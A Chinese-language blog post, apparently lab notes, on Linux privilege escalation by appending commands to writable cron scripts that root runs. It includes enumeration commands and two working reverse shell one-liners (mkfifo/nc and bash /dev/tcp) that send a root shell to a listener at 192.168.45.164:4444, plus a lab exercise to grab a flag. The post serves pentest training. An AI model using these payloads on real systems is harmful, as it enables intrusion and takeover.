濫用 Linux Cron Job 提權
濫用 Linux Cron Job 提權
一旦拿到 Interactive 的 Linux 權限後,最好的利用都是不安全的文件權限設定
通常都是查找可以寫入的權限然後進行提權的作業,這裡要應用的是 Cron Job
一般基於時間的 Cron Job 排程是一個最好利用的目標,因為一般系統的排程絕大部分都是採用
root 的權限設定與執行,管理者為了方便常使用不安全的的權限來建立 Cron Job 腳本
前面有提到 Cron Job 的檔案有每小時、每日、每週、每月的排程
列舉時使用 ls -lah /etc/cron* 查看最快,除了看 Job 外查看 Log 也是一個很重要的
Cron Job 的 Log 檔案位於 /var/log/cron.log
指令 grep "CRON" /var/log/syslog
如下圖可以看到使用 root 的權限在跑備份的 Job,且每分鐘執行一次
cat 看看檔案內容 cat /home/joe/.scripts/user_backups.sh
腳本本身相當簡單,僅是將使用者的主目錄複製到備份子目錄
接著看看檔案的權限設定 ls -lah /home/joe/.scripts/user_backups.sh
先開好一個 4444 Listen
修改 /home/joe/.scripts/user_backups.sh 檔案,讓他建立一個 Remote Shell 到 kali 4444
cd .scripts
echo >> user_backups.sh
echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.45.164 4444 >/tmp/f" >> user_backups.sh
cat user_backups.sh
等一分鐘左右, 4444 的 Remote Shell 進來了
練習 :
連接到靶機並尋找另一個配置錯誤的 cron 作業。一旦找到,利用它並獲取 root shell 以獲得標誌
其他資訊與上述相同
第一步透過 joe 登入到 192.168.212.214 然後列舉 Log,grep "CRON" /var/log/syslog
看到有兩隻用 root 起的 Cron Job
分別查看兩隻 Cron Job 的權限
- ls -lah /home/joe/.scripts/user_backups.sh --> 沒有權限
- ls -lah /tmp/this_is_fine.sh --> 777,賓果
相同操作
echo >> this_is_fine.sh
echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f | /bin/sh -i 2>&1 | nc 192.168.45.164 4444 >/tmp/f" >> this_is_fine.sh
cat this_is_fine.sh
Remote Shell 進來了,find / -type f -name flag.txt,拿答案吧
也可以使用我們最常用的 bash -c "bash -i >& /dev/tcp/192.168.45.164/4444 0>&1"
直接 vi 檔案在 Script 中塞入那一行
一樣進來了,也是 root 權限
留言
張貼留言